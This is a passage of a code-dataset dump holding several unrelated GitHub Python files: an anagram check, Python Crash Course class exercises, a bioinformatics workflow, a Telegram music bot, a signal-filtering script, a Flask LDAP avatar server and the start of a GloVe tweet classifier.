hashmap[j] == 0:\n # return False\n # hashmap[j] -= 1\n # return True\n # if tuple(sorted(s)) == tuple(sorted(t)):\n # return True\n # return False\n if len(s) != len(t):\n return False\n ss= [0]*26\n tt= [0]*26\n for i in range(len(s)):\n ss[ord(s[i])-ord('a')] += 1\n tt[ord(t[i])-ord('a')] += 1\n if tuple(ss) == tuple(tt):\n return True\n return False\n\n\n\n#%%\na = \" adsd\"\n# for i in range(len(a)):\nfor i in a:\n print(i)\n# %%\na = dict()\na['1'] = [2]\na['2'] = [4,5]\n# a.get('1',0)\nlist(a.values())\na['1'].append(3)\na['1']\n# %%\na=[1,2,3]\ni = 1\n# a.index(2,0,1)\n# a.index(2,2,3)\na.append(4)\na\n# %%\na = set()\na.add(1)\na.add(2)\nlist(a)\n# %%\nimport collections\ncollections.defaultdict(list)\n# %%\ntuple([0] * 26)\n# %%\nord(\"a\")\n# %%\na='abbcca'\nsorted(a)\n# %%\nimport collections\na=collections.defaultdict(int)\na[0] += 1\na[0]\n# %%\n\nsorted([1,5,3])\n# %%\n","repo_name":"AbigailCY/neetcode150","sub_path":"242.py","file_name":"242.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14615557756","text":"#9-1\nclass Restaurant: \n \"\"\"Create Class for a Mexican restaurant called Wapos.\"\"\"\n def __init__(self, restaurant_name, cuisine_type):\n \"\"\"initialize name and type attributes\"\"\"\n self.restaurant_name = restaurant_name\n self.cuisine_type = cuisine_type\n def describe_restaurant(self):\n \"\"\"Print the two attributes\"\"\"\n print(f\"{self.restaurant_name.title()} serves {self.cuisine_type.title()} food\")\n def open_restaurant(self):\n \"\"\"Declare that the restaurant is open\"\"\"\n print(f\"{self.restaurant_name.title()} is now open\")\nrestaurant = Restaurant('wapos', 'mexican')\nrestaurant.describe_restaurant()\nrestaurant.open_restaurant()\n\n#9-2\n#Create three separate instances and call describe restaurant for each \nbirdhouse = Restaurant('birdhouse', 'ramen')\nlucilles = Restaurant('lucilles', 'cajun')\necho = Restaurant('echo', 'italian')\n\nbirdhouse.describe_restaurant()\nlucilles.describe_restaurant()\necho.describe_restaurant()\n\n#9-3\nclass User:\n \"\"\"Create user class with several user categories\"\"\"\n def __init__(self, first_name, last_name, user_name, user_type,):\n \"\"\"Initialize user attributes\"\"\"\n self.first_name = first_name\n self.last_name = last_name\n self.user_name = user_name\n self.user_type = user_type\n\n def describe_user(self):\n \"\"\"User summary response to command\"\"\"\n print(f\"{self.first_name.title()} {self.last_name.title()} is a {self.user_type.title()} level user that will appear in the system as {self.user_name}.\")\n def greet_user(self):\n \"\"\"Greeting to user\"\"\"\n print(f\"Hello, {self.first_name.title()} {self.last_name.title()}! Welcome to the system. Your username is {self.user_name} and your access level is {self.user_type.title()}.\")\n#Create several instances for different users and print both messages\nallen = User('allen', 'murner', 'amurner', 'entry')\nmiles = User('miles', 'miglia', 'mmiglia', 'intermediate')\nlex = User('lex', 'tucky', 'ltucky', 'master')\n\nallen.describe_user()\nallen.greet_user()\nmiles.describe_user()\nmiles.greet_user()\nlex.describe_user()\nlex.greet_user()\n\n#9-4\nclass Restaurant: \n \"\"\"Create Class for a Mexican restaurant called Wapos.\"\"\"\n def __init__(self, restaurant_name, cuisine_type):\n \"\"\"initialize name and type attributes\"\"\"\n self.restaurant_name = restaurant_name\n self.cuisine_type = cuisine_type\n self.number_served = 0\n def describe_restaurant(self):\n \"\"\"Print the two attributes\"\"\"\n print(f\"{self.restaurant_name.title()} serves {self.cuisine_type.title()} food\")\n def open_restaurant(self):\n \"\"\"Declare that the restaurant is open\"\"\"\n print(f\"{self.restaurant_name.title()} is now open\")\n def set_number_served(self):\n \"\"\"\"attribute counting the number of served patrons\"\"\"\n print(f\"There has been {self.number_served} customers served.\")\n def update_number_served(self, customers):\n \"\"\"set the number of customers served to a given value\"\"\"\n self.number_served = customers\n def increment_number_served(self, customer):\n \"\"\"Add the given amount to the number of customers served\"\"\"\n self.number_served += customer\n\nrestaurant = Restaurant('wapos', 'mexican')\nrestaurant.describe_restaurant()\nrestaurant.open_restaurant()\nrestaurant.update_number_served(16)\nrestaurant.set_number_served()\nrestaurant.increment_number_served(62)\nrestaurant.set_number_served() \n\n#9-5 Adding attibute login_attempts, method called increment_login_attempts, method reset_login_attempts, printing login attempts\nclass User:\n \"\"\"Create user class with several user categories\"\"\"\n def __init__(self, first_name, last_name, user_name, user_type, login_attempts,):\n \"\"\"Initialize user attributes\"\"\"\n self.first_name = first_name\n self.last_name = last_name\n self.user_name = user_name\n self.user_type = user_type\n self.login_attempts = 0\n\n def describe_user(self):\n \"\"\"User summary response to command\"\"\"\n print(f\"{self.first_name.title()} {self.last_name.title()} is a {self.user_type.title()} level user that will appear in the system as {self.user_name}.\")\n def greet_user(self):\n \"\"\"Greeting to user\"\"\"\n print(f\"Hello, {self.first_name.title()} {self.last_name.title()}! Welcome to the system. Your username is {self.user_name} and your access level is {self.user_type.title()}.\")\n def increment_login_attempts(self, logins):\n \"\"\"increment value of login_attempts by 1\"\"\"\n self.login_attempts += logins\n def reset_login_attempts(self):\n \"\"\"resets login_attempts to 0\"\"\"\n self.login_attempts = 0\n#Create several instances for different users and print both messages\nallen = User('allen', 'murner', 'amurner', 'entry', '0')\nmiles = User('miles', 'miglia', 'mmiglia', 'intermediate', '0')\nlex = User('lex', 'tucky', 'ltucky', 'master', '0')\n\nallen.describe_user()\nallen.greet_user()\nmiles.describe_user()\nmiles.greet_user()\nlex.describe_user()\nlex.greet_user()\n\n#make instance of user class and call increment_login_attempts(). Show that it is incrementing correctly, then call reset to 0, show that is has reset. \nallen.increment_login_attempts(1)\nallen.login_attempts\nallen.increment_login_attempts(1)\nallen.login_attempts\nallen.increment_login_attempts(1)\nallen.login_attempts\nprint(f\"Allen has attempted to login {allen.login_attempts} times.\")\nallen.reset_login_attempts()\nallen.login_attempts\nprint(f\"Allen has now attempted to login {allen.login_attempts} times.\")\n\n#9-6 Inherit class from Restaurant above. \nclass IceCreamStand(Restaurant):\n \"\"\"New class, adding flavors as an attribute\"\"\"\n def __init__(self, restaurant_name, cuisine_type):\n \"\"\"initial parent class attributes\"\"\"\n super().__init__(restaurant_name, cuisine_type)\n self.flavors = ['vanilla', 'butterscotch', 'strawberry', 'chocolate']\n def list_flavors(self):\n \"\"\"Print a statement stating the available ice cream flavors\"\"\"\n print(f\"We have the following ice cream flavors: {self.flavors}.\")\n#create instance and call method to list ice cream flavors\nshow_flavors = IceCreamStand('wapos', 'mexican')\nshow_flavors.list_flavors()\n\n#9-7\nclass Admin(User):\n \"\"\"Admin account intaking User class settings, with additional changes unique to Admin users\"\"\"\n def __init__(self, first_name, last_name, user_name, user_type, login_attempts):\n \"\"\"Initialize User attributes and adding Admin attributes\"\"\"\n super().__init__(first_name, last_name, user_name, user_type, login_attempts)\n#add below instance for 9-8\n self.privileges = Privileges()\n#(originally in 9-7, changed for 9-8) self.privileges = ['can add post', 'can delete post', 'can ban user']\n#(originally in 9-7, changed for 9-8) def show_privileges(self):\n#(originally in 9-7, changed for 9-8) \"\"\"Print out list of privileges for Admin users\"\"\"\n#(originally in 9-7, changed for 9-8) print(f\"As an admin user, you are able to do the following actions: {self.privileges}.\")\n#(originally in 9-7, changed for 9-8)admin_privileges = Admin('cody', 'baggins', 'cbaggins', 'admin', '1')\n#(originally in 9-7, changed for 9-8)admin_privileges.show_privileges()\n\n#9-8\nclass Privileges:\n \"\"\"Privileges class with only one attribute\"\"\"\n def __init__(self, privileges = ['can add post', 'can delete post', 'can ban user']):\n \"\"\"list privileges\"\"\"\n self.privileges = privileges\n def show_privileges(self):\n \"\"\"Print out list of privileges for Admin users\"\"\"\n print(f\"As an admin user, you are able to do the following actions: {self.privileges}.\")\nadmin_privileges = Admin('cody', 'baggins', 'cbaggins','admin', '1')\nadmin_privileges.privileges.show_privileges()\n\n#9-9\nclass Car():\n \"\"\"A simple attempt to represent a car.\"\"\"\n\n def __init__(self, manufacturer, model, year):\n \"\"\"Initialize attributes to describe a car.\"\"\"\n self.manufacturer = manufacturer\n self.model = model\n self.year = year\n self.odometer_reading = 0\n \n def get_descriptive_name(self):\n \"\"\"Return a neatly formatted descriptive name.\"\"\"\n long_name = str(self.year) + ' ' + self.manufacturer + ' ' + self.model\n return long_name.title()\n \n def read_odometer(self):\n \"\"\"Print a statement showing the car's mileage.\"\"\"\n print(\"This car has \" + str(self.odometer_reading) + \" miles on it.\")\n \n def update_odometer(self, mileage):\n \"\"\"\n Set the odometer reading to the given value.\n Reject the change if it attempts to roll the odometer back.\n \"\"\"\n if mileage >= self.odometer_reading:\n self.odometer_reading = mileage\n else:\n print(\"You can't roll back an odometer!\")\n \n def increment_odometer(self, miles):\n \"\"\"Add the given amount to the odometer reading.\"\"\"\n self.odometer_reading += miles\n\nclass Battery():\n \"\"\"A simple attempt to model a battery for an electric car.\"\"\"\n\n def __init__(self, battery_size=60):\n \"\"\"Initialize the batteery's attributes.\"\"\"\n self.battery_size = battery_size\n\n def describe_battery(self):\n \"\"\"Print a statement describing the battery size.\"\"\"\n print(\"This car has a \" + str(self.battery_size) + \"-kWh battery.\")\n\n \n def get_range(self):\n \"\"\"Print a statement about the range this battery provides.\"\"\"\n if self.battery_size == 60:\n range = 140\n elif self.battery_size == 85:\n range = 185\n \n message = \"This car can go approximately \" + str(range)\n message += \" miles on a full charge.\"\n print(message)\n\n#9-10 Importing the Restaurant class into that program file. Saved as restaurant.py\n\n\n def upgrade_battery(self):\n \"\"\"Upgrade the battery if possible.\"\"\"\n if self.battery_size == 60:\n self.battery_size = 85\n print(\"Upgraded the battery to 85 kWh.\")\n else:\n print(\"The battery is already upgraded.\")\n \n \nclass ElectricCar(Car):\n \"\"\"Models aspects of a car, specific to electric vehicles.\"\"\"\n\n def __init__(self, manufacturer, model, year):\n \"\"\"\n Initialize attributes of the parent class.\n Then initialize attributes specific to an electric car.\n \"\"\"\n super().__init__(manufacturer, model, year)\n self.battery = Battery()\n\n\nprint(\"Make an electric car, and check the battery:\")\nmy_tesla = ElectricCar('tesla', 'model s', 2016)\nmy_tesla.battery.describe_battery()\n\nprint(\"\\nUpgrade the battery, and check it again:\")\nmy_tesla.battery.upgrade_battery()\nmy_tesla.battery.describe_battery()\n\nprint(\"\\nTry upgrading the battery a second time.\")\nmy_tesla.battery.upgrade_battery()\nmy_tesla.battery.describe_battery()\n\n#9-10 work is done in Restaurant.py\n\n#9-11 work is done in 9_11_tiy.py\n\n#9-12 work is done in multiple 9_12 files\n\n#9-13\nfrom random import randint\nclass Die:\n \"\"\"Features related to a standard 6 sided die\"\"\"\n def __init__(self, sides = 6):\n \"\"\"initialize die attributes\"\"\"\n self.sides = sides\n def roll_die(self):\n \"\"\"method to roll a random die side number\"\"\"\n return randint (1,self.sides)\nside6 = Die() \nresults = []\nfor roll_num in range(10):\n result = side6.roll_die()\n results.append(result)\nprint(\"10 rolls of a 6-sided die:\")\nprint(results)\n\n#Make the die 10 sided, roll 10 times\nside6 = Die(sides=10) \nresults = []\nfor roll_num in range(10):\n result = side6.roll_die()\n results.append(result)\nprint(\"10 rolls of a 10-sided die:\")\nprint(results)\n\n#make the die 20 sided, roll 10 times\nside6 = Die(sides = 20) \nresults = []\nfor roll_num in range(10):\n result = side6.roll_die()\n results.append(result)\nprint(\"10 rolls of a 20-sided die:\")\nprint(results)\n\n#9-14\nfrom random import choice\nlotto_list = ['3', '16', '20', '23', '29', '37', '42', '48', '55', '67', 'A', 'G', 'N', 'Q', 'Y']\ndigit_one = choice(lotto_list)\ndigit_two = choice(lotto_list)\ndigit_three = choice(lotto_list)\ndigit_four = choice(lotto_list)\nprint(f\"The winning lottery ticket has the following figures: {digit_one}, {digit_two}, {digit_three}, and {digit_four}.\")\n\n\n# 9-15\nfrom random import choice\n\ndef get_winning_ticket(possibilities):\n \"\"\"Return a winning ticket from a set of possibilities.\"\"\"\n winning_ticket = []\n\n # We don't want to repeat winning numbers or letters, so we'll use a\n # while loop.\n while len(winning_ticket) < 4:\n pulled_item = choice(possibilities)\n\n # Only add the pulled item to the winning ticket if it hasn't\n # already been pulled.\n if pulled_item not in winning_ticket:\n winning_ticket.append(pulled_item)\n\n return winning_ticket\n\ndef check_ticket(played_ticket, winning_ticket):\n # Check all elements in the played ticket. If any are not in the \n # winning ticket, return False.\n for element in played_ticket:\n if element not in winning_ticket:\n return False\n\n # We must have a winning ticket!\n return True\n\ndef make_random_ticket(possibilities):\n \"\"\"Return a random ticket from a set of possibilities.\"\"\"\n ticket = []\n # We don't want to repeat numbers or letters, so we'll use a while loop.\n while len(ticket) < 4:\n pulled_item = choice(possibilities)\n\n # Only add the pulled item to the ticket if it hasn't already\n # been pulled.\n if pulled_item not in ticket:\n ticket.append(pulled_item)\n\n return ticket\n\n\npossibilities = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 'a', 'b', 'c', 'd', 'e']\nwinning_ticket = get_winning_ticket(possibilities)\n\nplays = 0\nwon = False\n\n# Let's set a max number of tries, in case this takes forever!\nmax_tries = 1_000_000\n\nwhile not won:\n new_ticket = make_random_ticket(possibilities)\n won = check_ticket(new_ticket, winning_ticket)\n plays += 1\n if plays >= max_tries:\n break\n\nif won:\n print(\"We have a winning ticket!\")\n print(f\"Your ticket: {new_ticket}\")\n print(f\"Winning ticket: {winning_ticket}\")\n print(f\"It only took {plays} tries to win!\")\nelse:\n print(f\"Tried {plays} times, without pulling a winner. :(\")\n print(f\"Your ticket: {new_ticket}\")\n print(f\"Winning ticket: {winning_ticket}\")","repo_name":"bwengerDU/python_crash_course","sub_path":"chapter_exercises/Chapter9/Ch9_TIY.py","file_name":"Ch9_TIY.py","file_ext":"py","file_size_in_byte":14368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40606714185","text":"# -*- coding: utf-8 -*-\n# __author__ = 'zhaobinbin'\n# modified 20200416\n\nimport os\nimport re\nimport math\nimport time\nfrom biocluster.workflow import Workflow\nfrom biocluster.core.exceptions import OptionError\n\n\nclass BarBreakWorkflow(Workflow):\n \"\"\"\n 相关性小工具工作流\n \"\"\"\n def __init__(self, wsheet_object):\n self._sheet = wsheet_object\n super(BarBreakWorkflow, self).__init__(wsheet_object)\n options = [\n {\"name\": \"bar_table\", \"type\": \"infile\", \"format\": \"tool_lab.simple\"},\n {\"name\": \"set_group\", \"type\": \"string\", \"default\": True},\n {\"name\": \"ishape\", \"type\": \"string\", \"default\": \"sd\"},\n {\"name\": \"group_table\", \"type\": \"infile\", \"format\": \"tool_lab.simple\"},\n {\"name\": \"low_point\", \"type\": \"float\"}, # 下断点值\n {\"name\": \"high_point\", \"type\": \"float\"}, # 上断点值\n {\"name\": \"main_id\", \"type\": \"string\"},\n {'name': \"update_info\", 'type': 'string'},\n ]\n self.add_option(options)\n self.revise_infiles()\n self.set_options(self._sheet.options())\n self.bar_break = self.add_tool(\"tool_lab.bar_break\")\n\n def check_options(self):\n if not self.option(\"bar_table\"):\n raise OptionError(\"必须输入snp_table文件\")\n if not self.option(\"low_point\"):\n raise OptionError(\"必须输入下断点值\")\n if not self.option(\"high_point\"):\n raise OptionError(\"必须输入上断点值\")\n if not self.option(\"ishape\"):\n raise OptionError(\"必须输入ishape取值\")\n if not self.option(\"set_group\"):\n raise OptionError(\"必须输入set_group取值\")\n\n def run_bar_break(self):\n options = {\n \"bar_table\": self.option('bar_table'),\n \"group_table\": self.option('group_table'),\n \"low_point\": self.option('low_point'),\n 'high_point': self.option('high_point'),\n \"main_id\": self.option('main_id'),\n \"ishape\":self.option('ishape'),\n }\n self.bar_break.set_options(options)\n self.bar_break.on(\"end\", self.set_output, \"bar_break\")\n self.bar_break.run()\n\n def set_output(self, event):\n obj = event['bind_object']\n if event['data'] == 'bar_break':\n self.linkdir(obj.output_dir, 'bar_break')\n\n def linkdir(self, dirpath, dirname):\n allfiles = os.listdir(dirpath)\n newdir = os.path.join(self.output_dir, dirname)\n if not os.path.exists(newdir):\n os.mkdir(newdir)\n oldfiles = [os.path.join(dirpath, i) for i in allfiles]\n newfiles = [os.path.join(newdir, i) for i in allfiles]\n for newfile in newfiles:\n if os.path.exists(newfile):\n if os.path.isfile(newfile):\n os.remove(newfile)\n else:\n os.system('rm -r %s' % newfile)\n # self.logger.info('rm -r %s' % newfile)\n for i in range(len(allfiles)):\n if os.path.isfile(oldfiles[i]):\n os.link(oldfiles[i], newfiles[i])\n elif os.path.isdir(oldfiles[i]):\n # self.logger.info('cp -r %s %s' % (oldfiles[i], newdir))\n os.system('cp -r %s %s' % (oldfiles[i], newdir))\n time.sleep(1)\n self.end()\n\n def run(self):\n self.run_bar_break()\n super(BarBreakWorkflow, self).run()\n\n def end(self):\n result_dir = self.add_upload_dir(self.output_dir)\n result_dir.add_relpath_rules([\n [\".\", \"\", \"结果输出目录\"],\n ])\n result_dir.add_regexp_rules([\n [\"\", \"\", \"\"]\n ])\n super(BarBreakWorkflow, self).end()\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/workflows/tool_lab/bar_break.py","file_name":"bar_break.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"17586799772","text":"from aiogram import types\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.types import ReplyKeyboardMarkup, KeyboardButton\nfrom states import MusicState\nfrom loader import dp\nfrom utils.misc.throttling import rate_limit\n\n\n@dp.message_handler(text=\"Выход\", state=MusicState.get_back_menu)\nasync def stop_cast_playlist(message: types.Message, state: FSMContext):\n await state.finish()\n await message.answer(text=f\"Ты вышел \\nДля просмотра доступных команд используй /help \\nИли \\\"/\\\" в чат\")\n\n\n@dp.message_handler(commands=['music'], state=\"*\")\n@rate_limit(limit=5, key='music')\nasync def music(message: types.Message):\n spotify = KeyboardButton(\"Spotify\")\n vk = KeyboardButton(\"VK\")\n playlists_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n spotify).add(vk)\n await message.answer('На какой платформе будем слушать?',\n reply_markup=playlists_markup, )\n await MusicState.choose_music_platform.set() #\n\n\n@dp.message_handler(state=MusicState.get_back_menu)\nasync def music(message: types.Message):\n spotify = KeyboardButton(\"Spotify\")\n vk = KeyboardButton(\"VK\")\n playlists_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n spotify).add(vk)\n await message.answer('На какой платформе будем слушать?',\n reply_markup=playlists_markup, )\n await MusicState.choose_music_platform.set() # задано состояние выбора платформы(состояние 1)\n\n\n@dp.message_handler(state=MusicState.choose_music_platform)\n# вместо текста или команды фильтром выступает параметр state,\n# определяющий в каком состоянии находится пользователь\nasync def bot_message(message: types.Message):\n spoti_plotniy_playlist = KeyboardButton('ПЛОТНЫЙ РЭП')\n spoti_witch_house = KeyboardButton('ViVoDDn3#2')\n vk_morgen_album = KeyboardButton('MORGENSHTERN - MILLION DOLLAR: HAPPINESS')\n spoti_playlists_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n spoti_plotniy_playlist).add(spoti_witch_house)\n vk_playlists_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n vk_morgen_album)\n if message.text == 'Spotify':\n await message.answer(\"Вот все доступные плейлисты в спотифай\",\n reply_markup=spoti_playlists_markup)\n if message.text == 'VK':\n await message.answer(\"Вот все доступные плейлисты VK\",\n reply_markup=vk_playlists_markup)\n await MusicState.choose_music_album.set() # установка состояния выхода в меню выбора(состояние 2)\n\n\n@dp.message_handler(state=MusicState.choose_music_album)\nasync def choose_music(message: types.Message):\n get_back_button = KeyboardButton('Вернуться к выбору плейлиста')\n exit_button = KeyboardButton('Выход')\n exit_menu = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n get_back_button).add(exit_button)\n if message.text == 'ПЛОТНЫЙ РЭП':\n await message.answer(\"https://open.spotify.com/playlist/5BQemH4tSKWnOeUjOGGCJW\",\n reply_markup=exit_menu)\n if message.text == 'VivoDDn3#2':\n await message.answer(\"https://open.spotify.com/playlist/2U9iYP0tAtDM8j5Zm3Eiv0?si=301482f1b4d54e85\",\n reply_markup=exit_menu)\n if message.text == 'MORGENSHTERN - MILLION DOLLAR: HAPPINESS':\n await message.answer(\"https://vk.com/music/album/-2000517727_11517727_acba018a8ba0af12f6\",\n reply_markup=exit_menu)\n await MusicState.get_back_menu.set()","repo_name":"formorter/tBot","sub_path":"handlers/users/music.py","file_name":"music.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23165867840","text":"import numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\n\n# 读取数据\n# data = np.hstack((t,xs,r_observe,xs_ckf1,xs_ckf3))\ndata=np.loadtxt('.\\data\\calculte_result_2.txt')\na_test=1e-2\n\nt = data[:,0]\nxs = data[:,1:7]\nr_observe = data[:,7:10]\nxs_ckf = data[:,10:22]\nxs_rts = data[:,22:34]\n\nx1 = xs_rts[1000:-1,6]\nn = 3 # 滤波器阶数\ncut_off = 2*1e-3 # 截止频率\nb, a = scipy.signal.butter(n, cut_off, 'low')\nx1_filtered = scipy.signal.filtfilt(b, a, x1)\n\nx2 = xs_rts[:,6]\nn = 3 # 滤波器阶数\ncut_off = 2*1e-3 # 截止频率\nb, a = scipy.signal.butter(n, cut_off, 'low')\nx2_filtered = scipy.signal.filtfilt(b, a, x2)\n\na_x=np.zeros(len(t))\nfor i in range(len(t)):\n v_norm=np.linalg.norm(xs[i,3:6])\n a_x[i]=a_test*xs[i,3]/v_norm\n\n# 绘制结果\nplt.figure()\nplt.plot(t, x2, label='Before')\nplt.plot(t, x2_filtered, label='After2')\nplt.plot(t, a_x, label='Track')\nplt.legend()\nplt.show()\n\n# 绘制结果\nplt.figure()\nplt.plot(t[1000:-1], x1, label='Before')\nplt.plot(t[1000:-1], x1_filtered, label='After')\n# plt.plot(t[1000:-1], x2_filtered[1000:-1], label='After2')\nplt.plot(t[1000:-1], a_x[1000:-1], label='Track')\nplt.xlabel('t(s)')\nplt.ylabel('ax(m/s^2)')\nplt.legend()\nplt.show()\n\n# # 绘制结果\n# plt.figure()\n# plt.plot(t[1000:-1], x[1000:-1], label='Before')\n# plt.plot(t[1000:-1], x_filtered[1000:-1], label='After')\n# plt.plot(t[1000:-1], a_x[1000:-1], label='Track')\n# plt.legend()\n# plt.show()\n\ndebug = 1","repo_name":"LeanWu/myKF","sub_path":"result_fft.py","file_name":"result_fft.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33683816262","text":"import hashlib\nimport ssl\nimport io\nimport os\nimport distutils.util\nimport urllib3.request\nfrom typing import List\nfrom PIL import Image\n\nfrom flask import Flask, make_response, abort, redirect, request\nfrom flask_ldapconn import LDAPConn\nfrom flask_apscheduler import APScheduler\n\n\nclass Config:\n LDAP_SERVER = os.environ.get('LDAP_SERVER')\n LDAP_PORT = int(os.environ.get('LDAP_PORT', default=389))\n LDAP_BINDDN = os.environ.get('LDAP_BINDDN', default=None)\n LDAP_SECRET = os.environ.get('LDAP_BINDPW', default=None)\n LDAP_USE_SSL = bool(distutils.util.strtobool(os.environ.get('LDAP_SSL', default='False')))\n LDAP_USE_TLS = bool(distutils.util.strtobool(os.environ.get('LDAP_TLS', default='True')))\n LDAP_SEARCH_BASE = os.environ.get('LDAP_SEARCH_BASE')\n LDAP_CONNECT_TIMEOUT = 10 # Honored when the TCP connection is being established\n LDAP_READ_ONLY = True\n LDAP_TLS_VERSION = ssl.PROTOCOL_TLSv1_2\n FORCE_ATTRIBUTE_VALUE_AS_LIST = True\n CALCULATE_HASHES_DELAY = int(os.environ.get('CALCULATE_HASHES_DELAY', default=600))\n SCHEDULER_API_ENABLED = True\n MAX_SIZE = 2048\n\n\nldap = LDAPConn()\n\n\nclass User(ldap.Entry):\n base_dn = Config.LDAP_SEARCH_BASE\n object_classes = ['inetOrgPerson']\n\n emails: List[str] = ldap.Attribute('mail')\n photo: List[bytes] = ldap.Attribute('jpegPhoto')\n\n\ndef create_app():\n app = Flask(__name__)\n app.config.from_object(Config)\n\n # TODO: use sqlite/redis/memcached\n mail_hashes_md5 = dict()\n mail_hashes_sha256 = dict()\n\n scheduler = APScheduler()\n\n ldap.init_app(app)\n scheduler.init_app(app)\n\n @app.get(\"/avatar/\")\n def get_photo(mail_hash):\n mail = None\n\n if mail_hash in mail_hashes_md5:\n mail = mail_hashes_md5.get(mail_hash)\n elif mail_hash in mail_hashes_sha256:\n mail = mail_hashes_sha256.get(mail_hash)\n\n s = None\n if 's' in request.args:\n s = request.args.get('s', type=int, default=80)\n if 'size' in request.args:\n s = request.args.get('size', type=int, default=80)\n\n if not s:\n size = 80\n elif s < 1:\n size = 80\n elif s > Config.MAX_SIZE:\n size = Config.MAX_SIZE\n else:\n size = s\n\n # default action\n d = None # default\n if 'd' in request.args:\n d = request.args.get('d', type=str)\n if 'default' in request.args:\n d = request.args.get('default', type=str)\n\n # force\n f = None # default\n if 'f' in request.args:\n f = request.args.get('f', type=str)\n\n if mail and not f:\n user: User = User.query.filter(\"mail:{}\".format(mail)).first()\n if user and len(user.photo) > 0:\n photo = user.photo[0]\n if photo and len(photo) > 0:\n pil_photo: Image.Image = Image.open(io.BytesIO(photo))\n pil_photo = make_square(pil_photo)\n pil_photo = pil_photo.resize((size, size), Image.ANTIALIAS)\n photo_new = io.BytesIO()\n pil_photo.save(photo_new, format='PNG')\n # TODO: store photo in cache\n response = make_response(photo_new.getvalue())\n response.headers.set('Content-Type', 'image/png')\n return response\n\n # if no image was found, but a default action is given\n if d == '404':\n return abort(404)\n\n param_dict = dict()\n if d:\n param_dict['d'] = d\n if f:\n param_dict['f'] = f\n if s:\n param_dict['s'] = s\n\n url = \"https://cdn.libravatar.org/avatar/{}\".format(mail_hash)\n\n params = urllib3.request.urlencode(param_dict)\n if params:\n url += \"?{}\".format(params)\n\n return redirect(url, 302)\n\n @scheduler.task('interval', seconds=Config.CALCULATE_HASHES_DELAY)\n def calculate_hashes():\n print(\"calculating hashes of known mail addresses\")\n\n with app.app_context():\n\n users = User.query.all()\n for index, user in enumerate(users):\n email_addresses = []\n\n for email in user.emails:\n email.strip().lower()\n if email not in email_addresses:\n email_addresses.append(email)\n\n for email in email_addresses:\n email_md5 = hashlib.md5(email.encode('ascii')).hexdigest()\n email_sha256 = hashlib.sha256(email.encode('ascii')).hexdigest()\n\n mail_hashes_md5[email_md5] = email\n mail_hashes_md5[email_sha256] = email\n\n calculate_hashes()\n scheduler.start()\n\n return app\n\n\n# copied from https://stackoverflow.com/a/44231784 and adapted\ndef make_square(im: Image.Image, fill_color=(0, 0, 0, 0)) -> Image.Image:\n x, y = im.size\n size = min(x, y)\n new_im = Image.new('RGBA', (size, size), fill_color)\n new_im.paste(im, (int((size - x) / 2), int((size - y) / 2)))\n return new_im\n","repo_name":"jasperroloff/libravatar-ldap-jpegphoto","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72697349069","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# \"Open\n\n# In[ ]:\n\n\nimport csv\nimport random\nfrom collections import defaultdict, OrderedDict\nfrom operator import add\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nimport sklearn\nimport sklearn.metrics as sm\nfrom sklearn import svm, tree\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier, GradientBoostingClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import BernoulliNB, GaussianNB, MultinomialNB\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport pandas as pd\n\n\n# In[ ]:\n\n\ndef shuffle_data(X, y):\n combined = list(zip(X, y))\n random.shuffle(combined)\n X[:], y[:] = zip(*combined)\n return X, y\n\n\n# # Get Glove Data\n\n# In[ ]:\n\n\ndef get_glove_data():\n comments = []\n y = []\n dataset_filename='Final Dataset/cleaned_tweets_16K.csv'\n \n with open(dataset_filename,newline='',encoding=\"utf8\") as csvfile:\n csv_reader = csv.reader(csvfile, delimiter=',')\n line_count = 0\n \n for row in csv_reader:\n if line_count == 0:\n print(','.join(row))\n else:\n comments.append(row[1])\n y.append(int(row[0]))\n line_count += 1\n \n num_comments = len(comments)\n print(\"splitting data........\")\n word_arrays = []\n for s in comments:\n word_arrays.append(s.split(' '))\n \n print(\"Getting GLOVE embeddings size 50..\")\n file = open('glove.6B/glove.6B.50d.txt',errors='ignore').readlines()\n gloveDict = {}\n for line in file:\n info = line.split(' ')\n key = info[0]\n vec = []\n for elem in info[1:]:\n vec.append(elem.rstrip())\n gloveDict[key] = vec\n print(len(gloveDict),\"words in the GLOVE dictionary\\n\")\n \n #VECTORISE WORDS\n print(\"converting comments to lists of vectors........\")\n word_vectors = []\n for sentence in word_arrays:\n temp = []\n for word in sentence:\n if word in gloveDict:\n temp.append(gloveDict[word])\n word_vectors.append(temp)\n \n MAX_LEN = 32\n \n print(\"padding vectors to maxlen = \",MAX_LEN,\".....\")\n padded_word_vecs = np.array(pad_sequences(word_vectors, padding='pre', maxlen=MAX_LEN, dtype='float32'))\n padded_word_vecs = padded_word_vecs.reshape((num_comments, -1))\n \n 